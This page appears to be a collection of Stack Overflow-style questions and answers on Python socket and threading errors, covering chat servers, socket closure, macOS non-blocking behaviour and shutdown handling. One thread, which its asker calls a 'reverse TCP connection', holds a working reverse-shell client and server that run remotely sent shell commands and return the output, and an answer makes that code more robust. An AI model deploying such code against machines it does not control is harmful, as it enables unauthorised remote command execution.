Python P2P messaging - python

So the goal of this is code is to have a point to point connection. One client will host the connection and the other will just connect and they should be able to talk back and forth freely. I am trying to write the code myself, but I'm new to socket programming, and threading. I don't really want to to use a library that does all of the networking for me just yet. Any ideas to push me in the right direction? Can I have two threads communicate on the same port? I appreciate the input.
To test this you would have to run two instances, the first terminal will take an input(choose "S" for server) and the second, type anything(or nothing) to act as the client side. I am testing this code to incorporate it into a larger program I am working on, so the finished product will be more user friendly!
I'm running into the following errors:
Exception in thread Thread-1:
Traceback (most recent call last):
File "/usr/lib/python2.7/threading.py", line 810, in __bootstrap_inner
self.run()
File "/usr/lib/python2.7/threading.py", line 763, in run
self.__target(*self.__args, **self.__kwargs)
File "test.py", line 11, in recvthread
data = client.recv(size)
File "/usr/lib/python2.7/socket.py", line 174, in _dummy
raise error(EBADF, 'Bad file descriptor')
error: [Errno 9] Bad file descriptor
Here is the code trying to incorporate threading:
import socket
import threading
from threading import Thread
import select
import sys
def recvthread(mssg):
print mssg
if (mssg == 1):
while True:
data = client.recv(size)
print "[Other]:" + data
if (mssg == 2):
while True:
data = s.recv(size)
print "[Other]:" + data
def sendthread(mssg):
print mssg
if (mssg == 1):
while True:
data = raw_input("[ME]>")
client.send(data)
if (mssg == 2):
while True:
data = raw_input("[ME]>")
s.send(data)
host = 'localhost'
port = 2000
size = 1024
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
x = raw_input()
test = 'S'
if (x == test):
s.bind((host, port))
s.listen(5)
client, address = s.accept()
t1 = Thread(target=recvthread, args=(1,))
t2 = Thread(target=sendthread, args=(1,))
t1.start()
t2.start()
client.close()
else:
s.connect((host, port))
t1 = Thread(target=recvthread, args=(2,))
t2 = Thread(target=sendthread, args=(2,))
t1.start()
t2.start()
s.close()

The issue was me not completely understanding the threading. If I wanted the code to wait for the threads to wait I needed to use join(). Rookie mistake... Thanks for the help!

Related

Can we not use socket and threading together to send and receive messages?

I am trying to make a program to interact between client and server using socket and thread. In my
program the server is waiting for data and the client sends a data.
But after i used thread so that the data can be asked continuously it gave an error when data is being send or received.
Server
import socket
import threading
import keyboard
HOST = "127.0.0.1"
PORT = 65432
def receive_function(pon):
while True:
det = pon.recv(1024)
if det:
print(f"\t\t\t\tFriend: {det.decode('utf-8')}")
else:
continue
with socket.socket(socket.AF_INET,socket.SOCK_STREAM) as s:
s.bind((HOST,PORT))
s.listen()
print("LisTenING...")
while True:
conn, addr = s.accept()
print(f"Connection Established with {addr} Device")
x = threading.Thread(target=receive_function, args=(conn,))
x.start()
Client
import socket
import keyboard
import threading
from time import sleep
HOST = "127.0.0.1"
PORT = 65432
def send_data(s1):
print("S1 is ",s1)
s1.send(bytes("oi k xa", 'utf-8'))
with socket.socket(socket.AF_INET,socket.SOCK_STREAM) as s:
s.connect((HOST,PORT))
x = threading.Thread(target=send_data, args=(s,))
x.start()
Error
Exception in thread Thread-1:
Traceback (most recent call last):
File "E:\Python371\lib\threading.py", line 917, in _bootstrap_inner
self.run()
File "E:\Python371\lib\threading.py", line 865, in run
self._target(*self._args, **self._kwargs)
File "practice2.py", line 11, in send_data
s1.send(bytes("oi k xa", 'utf-8'))
OSError: [WinError 10038] An operation was attempted on something that is not a socket
Can anyone give me solution and reason that why i am not able to send and receive data when threading is used.
The with in the main thread is closing the socket when the with block exits. Instead, open the socket in the thread, or move the with to the thread so it closes after sending.
Option 1:
import socket
import threading
HOST = "127.0.0.1"
PORT = 65432
def send_data():
s = socket.socket()
s.connect((HOST,PORT))
with s:
print("s is", s)
s.sendall(b"oi k xa")
x = threading.Thread(target=send_data)
x.start()
Option 2:
import socket
import threading
HOST = "127.0.0.1"
PORT = 65432
def send_data(s):
with s:
print("S1 is ",s)
s.sendall(b"oi k xa")
s = socket.socket()
s.connect((HOST,PORT))
x = threading.Thread(target=send_data, args=(s,))
x.start()

Socket Error in Python: BlockingIOError: [Errno 35] Resource temporarily unavailable

So here is something wrong.
I try to implement a simple Web Server in Python using socket. The single-thread version runs well but, when I try to implement more threads with non-blocking mode, it comes with errors. I searched on Stack Overflow and Google, but no answers.
Here is my code:
# coding:utf-8
import errno
import socket
import threading
import time
EOL1 = b'\n\n'
EOL2 = b'\n\r\n'
body = '''<h1>Hello, world!</h1> - from {thread_name}'''
response_params = [
'HTTP/1.0 200 OK',
'Date: Mon, 01 jan 2022 01:01:01 GMT'
'Content-Type: text/plain; charset=utf-8',
'Content_Length: {length}\r\n',
body,
]
response = '\r\n'.join(response_params)
def handle_connection(conn, addr):
# print(conn, addr)
# time.sleep(60)
request = b""
while EOL1 and EOL2 not in request:
request += conn.recv(1024) # ERROR HERE!
print(request)
current_thread = threading.currentThread()
content_length = len(body.format(thread_name=current_thread.name).encode())
print(current_thread.name)
conn.send(response.format(thread_name=current_thread.name,
length = content_length).encode())
conn.close()
def main():
serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
serversocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
serversocket.bind(('127.0.0.1', 8000))
serversocket.listen(10)
print('http://127.0.0.1:8000')
serversocket.setblocking(0)
try:
i = 0
while True:
try:
conn, address = serversocket.accept()
except socket.error as e:
if e.args[0] != errno.EAGAIN:
raise
continue
i += 1
print(i)
t = threading.Thread(target=handle_connection, args=(conn, address),
name = 'thread-%s' % i)
t.start()
finally:
serversocket.close()
if __name__ == '__main__':
main()
The Error message is here:
1
Exception in thread thread-1:
2
Traceback (most recent call last):
File "/Users/tdeveloper/opt/anaconda3/lib/python3.9/threading.py", line 973, in _bootstrap_inner
Exception in thread thread-2:
Traceback (most recent call last):
File "/Users/tdeveloper/opt/anaconda3/lib/python3.9/threading.py", line 973, in _bootstrap_inner
self.run()
self.run()
File "/Users/tdeveloper/opt/anaconda3/lib/python3.9/threading.py", line 910, in run
File "/Users/tdeveloper/opt/anaconda3/lib/python3.9/threading.py", line 910, in run
self._target(*self._args, **self._kwargs)
File "/Users/tdeveloper/Development/Learning/Python_Simple_WSGI/socket/thread_socketserver.py", line 26, in handle_connection
self._target(*self._args, **self._kwargs)
File "/Users/tdeveloper/Development/Learning/Python_Simple_WSGI/socket/thread_socketserver.py", line 26, in handle_connection
request += conn.recv(1024)
BlockingIOError: [Errno 35] Resource temporarily unavailable
request += conn.recv(1024)
BlockingIOError: [Errno 35] Resource temporarily unavailable
This is apparently an issue with the macos implementation of accept being different than that in other platforms with respect to inheritance of the non-blocking flag. It has nothing to do with threading per se.
Here's a trimmed-down single-threaded test program that demonstrates.
#!/usr/bin/env python3
import select
import socket
ssocket = socket.socket()
ssocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
ssocket.bind(('127.0.0.1', 7000))
ssocket.listen(10)
ssocket.setblocking(0) # <<<<<<<===========
select.select([ssocket], [], [])
csocket, caddr = ssocket.accept()
csocket.recv(10)
If you run this on linux, and connect to it with nc localhost 7000, the csocket.recv blocks as you're expecting. Run the same program on macos and the recv immediately triggers the BlockingIOException you're seeing.
Looking at the manual page accept(2) on macos shows:
[...] creates a new socket with the same properties of socket
In this case, the non-blocking file descriptor flag (O_NONBLOCK) is being "inherited" by the new socket. So if you don't want it, you'll need to disable it on the accepted socket with conn.setblocking(1). Apparently this behavior is due to MacOS being descended from the BSD flavor of Unix.
All of that being said, you have no need to disable blocking anyway unless there is more to your actual program than shown. I.e. if your main thread is doing nothing but accepting a connection and then spinning off a separate thread to handle the connection, there's no reason not to let the main thread just block in accept. If you allow the listening socket to remain in blocking mode, the accepted sockets should also be in blocking mode. (By the way, as is, you're wasting a ton of CPU time in that main thread loop: calling accept, trapping the exception, then doing continue to start the loop over.)
(For clarity, my specs: python 3.7.3 downloaded from https://www.python.org/ftp/python/3.7.3/python-3.7.3-macosx10.9.pkg running on MacOS Catalina 10.15.7)

Setting up a server in python and getting a thread exception, how do I fix this?

I am programming a server in python and have multiple threads doing different tasks at the same time. I've been trying to handle the threads whenever there is a keyboard interruption.
Here is the code for the central thread:
import shutdownManager as SM
import initManager as IM
import nodeListManager as NLM
import threading
print("<Server Started>")
SM.bootup()
INITTRACKER_THREAD = threading.Thread(target = IM.nodeInitTracker)
NODELISTCLEANER_THREAD = threading.Thread(target = NLM.nodeListCleaner, args = ("NodeList.txt",))
try:
NODELISTCLEANER_THREAD.start()
INITTRACKER_THREAD.start()
NODELISTCLEANER_THREAD.join()
INITTRACKER_THREAD.join()
except KeyboardInterrupt:
print("\n<Shutting Server Down>")
SM.shutdown()
I'm sending shutdown signals via a file, and it is being checked constantly by the thread. The NODELISTCLEANER_THREAD works and exits just how I want it to.
The problem is with the other thread.
Here is the code for the other thread:
import shutdownManager as SM
import socket
def nodeInitTracker():
#Create Socket
s = socket.socket()
#HTTP Port, this forces is you to run with admin/root
port = 80
#Bind and listen for node and client connections
s.bind(('', port))
s.listen(5)
print('<Socket Bounded>: Now Listening')
#Client and Node Management
while True:
#Accept connection
c, addr = s.accept()
print('<CONNECTION ESTABLISHED>: With ', addr[0])
c.send(('1').encode())
if SM.checkShutdown():
print('<Initialization Manager Turned Off>')
c.close()
s.close()
break
#Perform the process that belongs to their respective device type
DeviceType = c.recv(1024).decode()
if DeviceType == 'n':
#Recieve Node Name
NodeName = c.recv(1024).decode()
print('<Node Name Confirmed>: ', NodeName, ' Belongs to ', addr[0])
#Store Node Name in Node List
fNodeList = open('NodeList.txt', 'a')
fNodeList.write(addr[0] + " " + NodeName + "\n")
print("<Recorded Node into Node List>: " + NodeName)
fNodeList.close()
else:
#Receive info from the client
#Please note, that this will be done later. So don't worry about it right now
print('<Client Connections are not implemented yet>')
#Close connection with client or node
c.close()
This is the error:
CException ignored in:
Traceback (most recent call last):
File "/usr/lib/python3.5/threading.py", line 1288, in _shutdown
t.join()
File "/usr/lib/python3.5/threading.py", line 1054, in join
self._wait_for_tstate_lock()
File "/usr/lib/python3.5/threading.py", line 1070, in _wait_for_tstate_lock
elif lock.acquire(block, timeout):
KeyboardInterrupt
Is there a way to fix this?

TCP Server not receiving anything after initial connection. Python

So, I've been experimenting with Python's socket module and I've created a simple TCP client/server setup. Everything's running on the same system (Win7x64), on the ip 192.168.1.3
Here's the client (It's a reverse TCP connection):
import socket, subprocess, time
me = '192.168.1.3'
port = 1332
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
while True:
try:
s.connect((me, port))
break
except:
time.sleep(1)
s.send('[*] Connected!')
while True:
data = s.recv(1024)
output = subprocess.check_output(data, shell=True)
s.send(output)
s.close()
Here's the server:
import socket
host = '0.0.0.0'
port = 1332
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
s.listen(5)
def handler(client):
req = client.recv(1024)
print 'Recieved: %s' % req
command = raw_input('> ')
print 'Sending: %s' % command
client.send(command)
#client.close()
while True:
client,addr = s.accept()
print 'Accepted connection from: %s:%d' % (addr[0], addr[1])
client_handler = threading.Thread(target=handler,args=(client,))
client_handler.start()
Here's the output that I receive on the server:
Accepted connection from: 192.168.1.3:61147
Recieved: [*] Connected!
Sending: *example command*
And then it just hangs there. No matter what I get the client to send, it just won't receive it. The commands are successful on the client's side but the output isn't sent back.
Halp?
Edit: I've managed to get the output of the command received by the server once by encasing the stuff in the function in a loop:
def handler(client):
while True:
req = client.recv(1024)
print 'Recieved: %s' % req
command = raw_input('> ')
print 'Sending: %s' % command
client.send(command)
So, if I send a dir command, I receive an output once. But on trying to send another command, I get this:
Exception in thread Thread-1:
Traceback (most recent call last):
File "C:\Python27\lib\threading.py", line 810, in __bootstrap_inner
self.run()
File "C:\Python27\lib\threading.py", line 763, in run
self.__target(*self.__args, **self.__kwargs)
File "C:\Users\Jami\Documents\Awn\Eclipse USB Backup\Extracted\Programming\Python\Random Shit\ReverseShell\receiver.py", line 13, in handler
req = client.recv(1024)
error: [Errno 10053] An established connection was aborted by the software in your host machine
EDIT:
Can someone recommend an alternative method? What I want to do, is for the server to 1. send a command to the client, 2. the client to execute it and 3. send the output back and 4. the output to be received by the server. And for this to carry on until it's stopped by the user.
TCP is a streaming protocol. Therefore you need some kind of message format for communication. Second, you need a loop, to send commands and read the result. On client side, you also need some kind of message protocol to send the results. I've use json encoded strings and new line as end-of-message character.
The server:
import socket
import threading
import json
host = '0.0.0.0'
port = 1332
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
s.listen(5)
def handler(client):
print 'Recieved: %s' % client
sock_input = client.makefile('r')
while True:
command = raw_input('> ')
if command == 'exit':
break
print 'Sending: %s' % command
client.sendall(command + '\n')
print json.loads(next(sock_input))
client.close()
def main():
while True:
client,addr = s.accept()
print 'Accepted connection from: %s:%d' % (addr[0], addr[1])
client_handler = threading.Thread(target=handler,args=(client,))
client_handler.start()
if __name__ == '__main__':
main()
The client:
import socket
import subprocess
import time
import json
me = 'localhost'
port = 1332
def main():
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((me, port))
break
except Exception, e:
print e
time.sleep(1)
sock_input = s.makefile('r')
for command in sock_input:
try:
output = subprocess.check_output(command, shell=True)
except:
output = 'Could not execute.'
s.sendall(json.dumps(output)+'\n')
s.close()
if __name__ == '__main__':
main()
Shashank is right, once it has received data once, it gets back to the accept loop.
If you want to keep receiving for this client while accepting new connections you should consider creating a thread which will handle the connection, and then keep accepting new ones in your main.

Python Client-server problems

I am making a chat program.
I have a (TCP) server which creates a new thread for every connection request it gets.
I'm having problems when the client quits/terminates connection. The server raises an error(below). How do I handle it?
And, the server has to send the 'data' it receives from one client to another (changeable) client.
How do I implement this??
I receive this error when the client quits :
Exception in thread Thread-1:
Traceback (most recent call last):
File "C:\Python2.7 For Chintoo\lib\threading.py", line 552, in __bootstrap_inner
self.run()
File "C:\Python2.7 For Chintoo\lib\threading.py", line 505, in run
self.__target(*self.__args, **self.__kwargs)
File "C:\Users\karuna\Desktop\Jython\Python\My Modules\Network\Multi-server.py", line 23, in recv_loop
data = client.recv(1024)
error: [Errno 10054] An existing connection was forcibly closed by the remote host
My scripts:
Multi-server.py
import os, socket, time, threading, random
class Server:
def __init__(self,host,port,user):
self.port = port
self.host = host
self.user = user
self.bufsize = 1024
self.addr = (host,port)
self.socket = socket.socket(socket.AF_INET , socket.SOCK_STREAM)
self.socket.bind(self.addr)
print "Server running on",host,"at port",port
self.socket.listen(5)
def recv_loop(server,client,caddr):
print 'Connected To',caddr
while True:
global clients
name = clients[client]
data = client.recv(1024)
if not data:
break
print name + " said: " + data
client.close()
host = 'localhost'
port = random.randint(1025,60000)
user = 'No one'
server = Server(host, port, user)
clients = {}
threads = []
while True:
client, caddr = server.socket.accept()
# name extraction
name = client.recv(1024)
clients[client] = name
thread = threading.Thread(target=recv_loop, args=(server,client, caddr))
thread.start()
client.py
from socket import *
host = 'localhost'
name = raw_input('Enter name: ')
port = int(raw_input('Enter server port: '))
bufsiz = 1024
addr = (host, port)
tcpClient = socket(AF_INET , SOCK_STREAM)
tcpClient.connect(addr)
# sending name
tcpClient.send(name)
while True:
data = raw_input('> ')
if not data:
break
tcpClient.send(data)
raw_input('Enter to Quit')
Problem 1
Just close the socket connection at client side:
raw_input('Enter to Quit')
tcpClient.close()
Problem 2
You are looking at producer consumer problem here.
Basic solution:
Receiving loop should acquire a threading.Condition, update a global array and call notifyAll. Sending loops should acquire the condition, read data from the array and send to client.
I haven't done socket programming in Python, but you might want to cleanly close your socket connection before the client quits. I would use close method in the client.

Categories